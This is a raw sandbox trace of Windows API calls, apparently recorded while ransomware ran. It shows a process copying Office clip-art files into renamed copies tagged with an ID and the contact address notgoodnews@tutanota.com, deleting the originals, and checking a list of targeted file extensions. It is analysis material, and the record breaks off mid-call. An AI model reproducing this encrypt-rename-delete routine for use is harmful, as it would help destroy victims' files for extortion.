dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0170.443] GetFileSizeEx (in: hFile=0x4e8, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=5393) returned 1 [0170.443] CloseHandle (hObject=0x4e8) returned 1 [0170.443] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_10.mid")) returned 0x220 [0170.447] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_10.mid.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0170.447] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_10.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0170.448] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.448] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.448] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_10.mid.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0170.449] GetLastError () returned 0x0 [0170.449] ReadFile (in: hFile=0x4e8, lpBuffer=0x3c6a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesRead=0x321fecc*=0x1511, lpOverlapped=0x0) returned 1 [0170.457] WriteFile (in: hFile=0x54c, lpBuffer=0x3c6a020*, nNumberOfBytesToWrite=0x1520, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesWritten=0x321fc94*=0x1520, lpOverlapped=0x0) returned 1 [0170.459] ReadFile (in: hFile=0x4e8, lpBuffer=0x3c6a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0170.459] WriteFile (in: hFile=0x54c, lpBuffer=0x3c6a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0170.459] SetEndOfFile (hFile=0x54c) returned 1 [0170.459] CloseHandle (hObject=0x54c) returned 1 [0170.460] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.460] SetEndOfFile (hFile=0x4e8) returned 1 [0170.463] CloseHandle (hObject=0x4e8) returned 1 [0170.463] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0170.469] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_10.mid")) returned 1 [0170.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68 [0170.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68 [0170.470] lstrlenW (lpString=".doc") returned 4 [0170.470] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0170.470] lstrlenW (lpString=".docx") returned 5 [0170.470] lstrcmpiW (lpString1=".docx", lpString2="0.MID") returned -1 [0170.470] lstrlenW (lpString=".pdf") returned 4 [0170.470] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0170.470] lstrlenW (lpString=".xls") returned 4 [0170.470] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0170.470] lstrlenW (lpString=".xlsx") returned 5 [0170.470] lstrcmpiW (lpString1=".xlsx", lpString2="0.MID") returned -1 [0170.470] lstrlenW (lpString=".ppt") returned 4 [0170.470] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0170.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68 [0170.470] lstrlenW (lpString=".zip") returned 4 [0170.470] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0170.470] lstrlenW (lpString=".rar") returned 4 [0170.471] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0170.471] lstrlenW (lpString=".bz2") returned 4 [0170.471] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0170.471] lstrlenW (lpString=".7z") returned 3 [0170.471] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0170.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68 [0170.471] lstrlenW (lpString=".dbf") returned 4 [0170.471] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0170.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68 [0170.471] lstrlenW (lpString=".1cd") returned 4 [0170.471] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0170.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68 [0170.471] lstrlenW (lpString=".jpg") returned 4 [0170.471] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0170.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68 [0170.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68 [0170.471] lstrlenW (lpString=".doc") returned 4 [0170.471] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0170.471] lstrlenW (lpString=".docx") returned 5 [0170.471] lstrcmpiW (lpString1=".docx", lpString2="0.MID") returned -1 [0170.471] lstrlenW (lpString=".pdf") returned 4 [0170.471] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0170.471] lstrlenW (lpString=".xls") returned 4 [0170.471] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0170.471] lstrlenW (lpString=".xlsx") returned 5 [0170.471] lstrcmpiW (lpString1=".xlsx", lpString2="0.MID") returned -1 [0170.471] lstrlenW (lpString=".ppt") returned 4 [0170.471] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0170.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68 [0170.471] lstrlenW (lpString=".zip") returned 4 [0170.471] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0170.471] lstrlenW (lpString=".rar") returned 4 [0170.471] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0170.471] lstrlenW (lpString=".bz2") returned 4 [0170.471] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0170.471] lstrlenW (lpString=".7z") returned 3 [0170.472] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0170.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68 [0170.472] lstrlenW (lpString=".dbf") returned 4 [0170.472] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0170.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68 [0170.472] lstrlenW (lpString=".1cd") returned 4 [0170.472] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0170.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68 [0170.472] lstrlenW (lpString=".jpg") returned 4 [0170.472] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0170.472] lstrcmpiW (lpString1=".MID", lpString2=".NEWS") returned -1 [0170.472] lstrlenW (lpString="ROAD_01.MID") returned 11 [0170.472] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\road_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0170.474] GetFileSizeEx (in: hFile=0x4e8, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=5983) returned 1 [0170.474] CloseHandle (hObject=0x4e8) returned 1 [0170.474] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\road_01.mid")) returned 0x220 [0170.474] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\road_01.mid.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0170.475] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\road_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0170.475] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.475] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.475] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\road_01.mid.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0170.476] GetLastError () returned 0x0 [0170.476] ReadFile (in: hFile=0x4e8, lpBuffer=0x3c6a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesRead=0x321fecc*=0x175f, lpOverlapped=0x0) returned 1 [0170.491] WriteFile (in: hFile=0x54c, lpBuffer=0x3c6a020*, nNumberOfBytesToWrite=0x1760, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesWritten=0x321fc94*=0x1760, lpOverlapped=0x0) returned 1 [0170.492] ReadFile (in: hFile=0x4e8, lpBuffer=0x3c6a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0170.492] WriteFile (in: hFile=0x54c, lpBuffer=0x3c6a020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesWritten=0x321fc94*=0xea, lpOverlapped=0x0) returned 1 [0170.492] SetEndOfFile (hFile=0x54c) returned 1 [0170.500] CloseHandle (hObject=0x54c) returned 1 [0170.500] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.500] SetEndOfFile (hFile=0x4e8) returned 1 [0170.502] CloseHandle (hObject=0x4e8) returned 1 [0170.502] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0170.503] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\road_01.mid")) returned 1 [0170.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67 [0170.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67 [0170.503] lstrlenW (lpString=".doc") returned 4 [0170.503] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0170.503] lstrlenW (lpString=".docx") returned 5 [0170.503] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0170.503] lstrlenW (lpString=".pdf") returned 4 [0170.503] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0170.503] lstrlenW (lpString=".xls") returned 4 [0170.503] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0170.504] lstrlenW (lpString=".xlsx") returned 5 [0170.504] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0170.504] lstrlenW (lpString=".ppt") returned 4 [0170.504] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0170.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67 [0170.504] lstrlenW (lpString=".zip") returned 4 [0170.504] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0170.504] lstrlenW (lpString=".rar") returned 4 [0170.504] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0170.504] lstrlenW (lpString=".bz2") returned 4 [0170.504] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0170.504] lstrlenW (lpString=".7z") returned 3 [0170.504] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0170.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67 [0170.504] lstrlenW (lpString=".dbf") returned 4 [0170.504] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0170.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67 [0170.504] lstrlenW (lpString=".1cd") returned 4 [0170.504] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0170.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67 [0170.504] lstrlenW (lpString=".jpg") returned 4 [0170.504] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0170.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67 [0170.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67 [0170.504] lstrlenW (lpString=".doc") returned 4 [0170.504] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0170.504] lstrlenW (lpString=".docx") returned 5 [0170.504] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0170.504] lstrlenW (lpString=".pdf") returned 4 [0170.504] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0170.504] lstrlenW (lpString=".xls") returned 4 [0170.504] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0170.504] lstrlenW (lpString=".xlsx") returned 5 [0170.504] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0170.504] lstrlenW (lpString=".ppt") returned 4 [0170.504] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0170.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67 [0170.505] lstrlenW (lpString=".zip") returned 4 [0170.505] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0170.505] lstrlenW (lpString=".rar") returned 4 [0170.505] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0170.505] lstrlenW (lpString=".bz2") returned 4 [0170.505] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0170.505] lstrlenW (lpString=".7z") returned 3 [0170.505] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0170.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67 [0170.505] lstrlenW (lpString=".dbf") returned 4 [0170.505] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0170.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67 [0170.505] lstrlenW (lpString=".1cd") returned 4 [0170.505] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0170.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67 [0170.505] lstrlenW (lpString=".jpg") returned 4 [0170.505] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0170.505] lstrcmpiW (lpString1=".MID", lpString2=".NEWS") returned -1 [0170.505] lstrlenW (lpString="SCHOL_02.MID") returned 12 [0170.505] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\schol_02.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0170.507] GetFileSizeEx (in: hFile=0x4e8, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=5058) returned 1 [0170.507] CloseHandle (hObject=0x4e8) returned 1 [0170.507] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\schol_02.mid")) returned 0x220 [0170.507] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\schol_02.mid.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0170.507] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\schol_02.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0170.507] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.508] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.508] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\schol_02.mid.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0170.508] GetLastError () returned 0x0 [0170.508] ReadFile (in: hFile=0x4e8, lpBuffer=0x3c6a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesRead=0x321fecc*=0x13c2, lpOverlapped=0x0) returned 1 [0170.575] WriteFile (in: hFile=0x54c, lpBuffer=0x3c6a020*, nNumberOfBytesToWrite=0x13d0, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesWritten=0x321fc94*=0x13d0, lpOverlapped=0x0) returned 1 [0170.576] ReadFile (in: hFile=0x4e8, lpBuffer=0x3c6a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0170.576] WriteFile (in: hFile=0x54c, lpBuffer=0x3c6a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0170.576] SetEndOfFile (hFile=0x54c) returned 1 [0170.576] CloseHandle (hObject=0x54c) returned 1 [0170.576] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.576] SetEndOfFile (hFile=0x4e8) returned 1 [0170.924] CloseHandle (hObject=0x4e8) returned 1 [0170.924] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0170.925] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\schol_02.mid")) returned 1 [0170.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68 [0170.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68 [0170.926] lstrlenW (lpString=".doc") returned 4 [0170.926] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0170.926] lstrlenW (lpString=".docx") returned 5 [0170.926] lstrcmpiW (lpString1=".docx", lpString2="2.MID") returned -1 [0170.926] lstrlenW (lpString=".pdf") returned 4 [0170.926] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0170.927] lstrlenW (lpString=".xls") returned 4 [0170.927] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0170.927] lstrlenW (lpString=".xlsx") returned 5 [0170.927] lstrcmpiW (lpString1=".xlsx", lpString2="2.MID") returned -1 [0170.927] lstrlenW (lpString=".ppt") returned 4 [0170.927] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0170.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68 [0170.927] lstrlenW (lpString=".zip") returned 4 [0170.927] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0170.927] lstrlenW (lpString=".rar") returned 4 [0170.927] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0170.927] lstrlenW (lpString=".bz2") returned 4 [0170.927] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0170.927] lstrlenW (lpString=".7z") returned 3 [0170.927] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0170.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68 [0170.927] lstrlenW (lpString=".dbf") returned 4 [0170.927] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0170.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68 [0170.927] lstrlenW (lpString=".1cd") returned 4 [0170.927] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0170.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68 [0170.927] lstrlenW (lpString=".jpg") returned 4 [0170.927] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0170.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68 [0170.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68 [0170.927] lstrlenW (lpString=".doc") returned 4 [0170.927] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0170.927] lstrlenW (lpString=".docx") returned 5 [0170.927] lstrcmpiW (lpString1=".docx", lpString2="2.MID") returned -1 [0170.927] lstrlenW (lpString=".pdf") returned 4 [0170.927] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0170.927] lstrlenW (lpString=".xls") returned 4 [0170.927] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0170.928] lstrlenW (lpString=".xlsx") returned 5 [0170.928] lstrcmpiW (lpString1=".xlsx", lpString2="2.MID") returned -1 [0170.928] lstrlenW (lpString=".ppt") returned 4 [0170.928] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0170.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68 [0170.928] lstrlenW (lpString=".zip") returned 4 [0170.928] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0170.928] lstrlenW (lpString=".rar") returned 4 [0170.928] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0170.928] lstrlenW (lpString=".bz2") returned 4 [0170.928] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0170.928] lstrlenW (lpString=".7z") returned 3 [0170.928] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0170.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68 [0170.928] lstrlenW (lpString=".dbf") returned 4 [0170.928] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0170.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68 [0170.928] lstrlenW (lpString=".1cd") returned 4 [0170.928] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0170.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68 [0170.928] lstrlenW (lpString=".jpg") returned 4 [0170.929] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0170.929] lstrcmpiW (lpString1=".MID", lpString2=".NEWS") returned -1 [0170.929] lstrlenW (lpString="SPRNG_01.MID") returned 12 [0170.929] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sprng_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0171.180] GetFileSizeEx (in: hFile=0x4e8, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=6700) returned 1 [0171.180] CloseHandle (hObject=0x4e8) returned 1 [0171.180] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 